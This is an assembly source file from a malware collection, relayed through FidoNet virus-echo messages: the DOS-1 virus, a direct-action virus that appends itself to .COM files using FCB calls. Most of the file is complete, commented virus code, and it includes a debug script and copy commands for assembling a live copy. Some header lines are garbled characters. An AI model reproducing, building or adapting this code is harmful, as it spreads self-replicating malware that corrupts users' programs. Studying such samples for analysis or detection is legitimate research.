MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir27.asm

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NASM
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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 17 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:12
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : DOS_1.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Clif Jessop, 2:283/718 (06 Nov 94 16:35)
;* To : Mark Hapershaw
;* Subj : DOS_1.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Clif.Jessop@f718.n283.z2.fidonet.org
;DOS1 virus by the TridenT research group - Direct Action appending .COM
;This virus infects .COM files in the current directory using FCB's.
;Other than FCB use, the virus is VERY simple. Avoids infecting misnamed
;EXE files by using an 'M' at the beginning of files to mark infection.
;This virus requires a stub file made from the following debug script,
;to make it, compile the virus, then create the stub file by removing the
;semicolons from the code between the lines, saving it, and calling it
;vstub.hex. Then use the following commands:
; Debug <vstub.hex
; Copy /b vstub.com+dos1.com virus.com
;And you will have a live copy of the DOS-1 virus. Please be careful
;with it and do not release it.
;-=-=-=-=-=-=-=-=-=-=-=-=-=<3D>[Begin Debug Script]<5D>=-=-=-=-=-=-=-=-=-=-=-=-=
;e100 4d eb 6 90 90
;rbx
;0
;rcx
;5
;nvstub.com
;w
;q
;-=-=-=-=-=-=-=-=-=-=-=-=-=<3D>[End Debug Script]<5D>=-=-=-=-=-=-=-=-=-=-=-=-=
;Disassembly by Black Wolf
.model tiny
.code
org 100h
start:
dec bp
nop
int 20h
HostFile: ;Not present to preserve original compiler offsets.....
Virus_Entry:
call GetOffset
Displacement:
db 'DOS-1',0
GetOffset:
pop si
sub si,offset Displacement-start
cld
mov di,100h
push di ;Push DI on stack for ret...
push si ;Restore host file...
movsw
movsw
pop si
lea dx,[si+VirusDTA-start] ;set DS:DX = DTA
call SetDTA
mov ax,1100h ;Find first filename w/FCB's
FindFirstNext:
lea dx,[si+SearchString-start]
int 21h ;Find first/next filename
;using FCB's (*.COM)
or al,al ;Were any .COM files found?
jnz ResetDTA ;No.... exit virus.
lea dx,[si+VirusDTA-start]
mov ah,0fh
int 21h ;open .COM file w/FCB
or al,al ;Successful?
jnz FindNextFile ;No - find another.
push dx ;Push offset of DTA
mov di,dx
mov word ptr [di+0Eh],1 ;Set bytes per record to 1
xor ax,ax
mov [di+21h],ax ;Set Random Record Num to 0
mov [di+23h],ax ;?
lea dx,[si]
call SetDTA ;Set DTA to just before virus
;code in memory - Storage bytes..
lea dx,[di] ;DX = Virus DTA
mov ah,27h
mov cx,4
int 21h ;Read first 4 bytes w/FCB
cmp byte ptr [si],'M' ;Is it an EXE file or infected?
je CloseFile ;exit...
mov ax,[di+10h] ;AX = Filesize
mov [di+21h],ax ;Set current record to EOF
cmp ax,0F800h ;Is file above F800h bytes?
ja CloseFile ;Too large, exit
push ax
lea dx,[si]
call SetDTA ;Set DTA to storage bytes/virus.
lea dx,[di]
mov ah,28h
mov cx,end_virus-start
int 21h ;Write virus to end of file.
xor ax,ax
mov [di+21h],ax ;Reset file to beginning.
lea di,[si] ;Point DI to DTA
mov ax,0E94Dh ;4dh E9h = marker and jump
stosw
pop ax ;AX = jump size
stosw ;Put marker and jump into DTA
push dx
lea dx,[si]
call SetDTA ;Set DTA for write
pop dx
mov ah,28h
mov cx,4
int 21h ;Write in ID byte 'M' and jump
CloseFile:
pop dx
call SetDTA
mov ah,10h
int 21h ;Close file w/FCB
FindNextFile:
mov ah,12h
jmp short FindFirstNext ;Find next file...
ResetDTA:
mov dx,80h ;80h = default DTA
call SetDTA
retn
SetDTA:
mov ah,1Ah
int 21h ;Set DTA to DS:DX
retn
db 'MK' ;Musad Khafir's signature
SearchString:
db 0 ;Default Drive
db '????????COM' ;Search for all .COM files.
end_virus:
org 1d1h
VirusDTA:
end start
;-+- FMail 0.96<EFBFBD>
; + Origin: The Hamburger Haven 1-318-478-9940 (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;Trubo Link Version 4.0 Copyright (c) 1991 Bugland International
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)